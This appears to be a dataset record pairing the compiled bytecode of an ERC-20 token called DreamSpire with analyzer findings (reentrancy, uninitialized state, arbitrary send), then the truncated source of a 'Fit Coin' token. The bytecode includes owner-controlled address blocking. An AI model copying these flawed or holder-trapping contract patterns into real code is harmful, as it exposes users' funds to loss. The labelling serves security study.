ffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db8565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd6565b005b34801561063857600080fd5b50610641610f26565b005b34801561064f57600080fd5b50610658610fa0565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160d565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117bb565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f447265616d537069726500000000000000000000000000000000000000000000815250905090565b600061076b610764611842565b848461184a565b6001905092915050565b600067016345785d8a0000905090565b6000610792848484611a41565b6108538461079e611842565b61084e85604051806060016040528060288152602001613d8f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610804611842565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123059092919063ffffffff16565b61184a565b600190509392505050565b610866611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610992611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab0611842565b73ffffffffffffffffffffffffffffffffffffffff1614610ad057600080fd5b6000479050610ade816123c5565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7c57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc7565b610bc4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c0565b90505b919050565b610bd4611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f445245414d53efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcc610dc5611842565b8484611a41565b6001905092915050565b610dde611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2257600160076000848481518110610ebc57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea1565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f67611842565b73ffffffffffffffffffffffffffffffffffffffff1614610f8757600080fd5b6000610f9230610ae1565b9050610f9d81612544565b50565b610fa8611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a000061184a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c057600080fd5b505afa1580156111d4573d6000803e3d6000fd5b505050506040513d60208110156111ea57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125d57600080fd5b505afa158015611271573d6000803e3d6000fd5b505050506040513d602081101561128757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b505050506040513d602081101561132b57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c530610ae1565b6000806113d0610d52565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b50505050506040513d606081101561148057600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115ce57600080fd5b505af11580156115e2573d6000803e3d6000fd5b505050506040513d60208110156115f857600080fd5b81019080805190602001909291905050505050565b611615611842565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611779606461176b8367016345785d8a000061282e90919063ffffffff16565b6128b490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e056024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611956576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d4c6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cff6023913960400191505060405180910390fd5b60008111611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613db76029913960400191505060405180910390fd5b611bae610d52565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1c5750611bec610d52565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224257601360179054906101000a900460ff1615611e82573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c9e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cf85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d525750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8157601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d98611842565b73ffffffffffffffffffffffffffffffffffffffff161480611e0e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df6611842565b73ffffffffffffffffffffffffffffffffffffffff16145b611e80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7257601454811115611ec457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f685750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7157600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561201d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120735750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208b5750601360179054906101000a900460ff165b156121235742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120db57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061212e30610ae1565b9050601360159054906101000a900460ff1615801561219b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b35750601360169054906101000a900460ff165b1561224057601360179054906101000a900460ff161561221d576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221c57600080fd5b5b61222681612544565b6000479050600081111561223e5761223d476123c5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f357600090505b6122ff848484846128fe565b50505050565b60008383111582906123b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237757808201518184015260208101905061235c565b50505050905090810190601f1680156123a45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124156002846128b490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612440573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124916002846128b490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bc573d6000803e3d6000fd5b5050565b6000600a5482111561251d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d22602a913960400191505060405180910390fd5b6000612527612b55565b905061253c81846128b490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257957600080fd5b506040519080825280602002602001820160405280156125a85781602001602082028036833780820191505090505b50905030816000815181106125b957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265b57600080fd5b505afa15801561266f573d6000803e3d6000fd5b505050506040513d602081101561268557600080fd5b8101908080519060200190929190505050816001815181106126a357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184a565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127ce5780820151818401526020810190506127b3565b505050509050019650505050505050600060405180830381600087803b1580156127f757600080fd5b505af115801561280b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284157600090506128ae565b600082840290508284828161285257fe5b04146128a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d6e6021913960400191505060405180910390fd5b809150505b92915050565b60006128f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b80565b905092915050565b8061290c5761290b612c46565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129af5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c4576129bf848484612c89565b612b41565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a675750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7c57612a77848484612ee9565b612b40565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b1e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3357612b2e848484613149565b612b3f565b612b3e84848461343e565b5b5b5b80612b4f57612b4e613609565b5b50505050565b6000806000612b6261361d565b91509150612b7981836128b490919063ffffffff16565b9250505090565b60008083118290612c2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf1578082015181840152602081019050612bd6565b50505050905090810190601f168015612c1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3857fe5b049050809150509392505050565b6000600c54148015612c5a57506000600d54145b15612c6457612c87565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9b876138c6565b955095509550955095509550612cf987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d8e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e6f81613a00565b612e798483613ba5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efb876138c6565b955095509550955095509550612f5986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fee83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130cf81613a00565b6130d98483613ba5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315b876138c6565b9550955095509550955095506131b987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c481613a00565b6133ce8483613ba5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613450876138c6565b9550955095509550955095506134ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061358f81613a00565b6135998483613ba5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600067016345785d8a0000905060005b60098054905081101561387d5782600260006009848154811061365657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061373d57508160036000600984815481106136d557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375a57600a5467016345785d8a0000945094505050506138c2565b6137e3600260006009848154811061376e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461392e90919063ffffffff16565b925061386e60036000600984815481106137f957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361392e90919063ffffffff16565b91508080600101915050613637565b5061389b67016345785d8a0000600a546128b490919063ffffffff16565b8210156138b957600a5467016345785d8a00009350935050506138c2565b81819350935050505b9091565b60008060008060008060008060006138e38a600c54600d54613bdf565b92509250925060006138f3612b55565b905060008060006139068e878787613c75565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612305565b905092915050565b6000808284019050838110156139f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a0a612b55565b90506000613a21828461282e90919063ffffffff16565b9050613a7581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba057613b5c83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397890919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bba82600a5461392e90919063ffffffff16565b600a81905550613bd581600b5461397890919063ffffffff16565b600b819055505050565b600080600080613c0b6064613bfd888a61282e90919063ffffffff16565b6128b490919063ffffffff16565b90506000613c356064613c27888b61282e90919063ffffffff16565b6128b490919063ffffffff16565b90506000613c5e82613c50858c61392e90919063ffffffff16565b61392e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c8e858961282e90919063ffffffff16565b90506000613ca5868961282e90919063ffffffff16565b90506000613cbc878961282e90919063ffffffff16565b90506000613ce582613cd7858761392e90919063ffffffff16565b61392e90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220243953c2b71ac3121707e1b123826b295f2d1e86b2acf4c894ff1b0b831a76e464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,890
0x5f54c9d50684945cd0b716553119d94e48078e14
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /** Fit Coin ( $FIT ) Official links: Telegram: https://t.me/FITCOINofficial Website: www.fitcoinofficial.com Twitter: twitter.com/fitcoin_ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FIT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 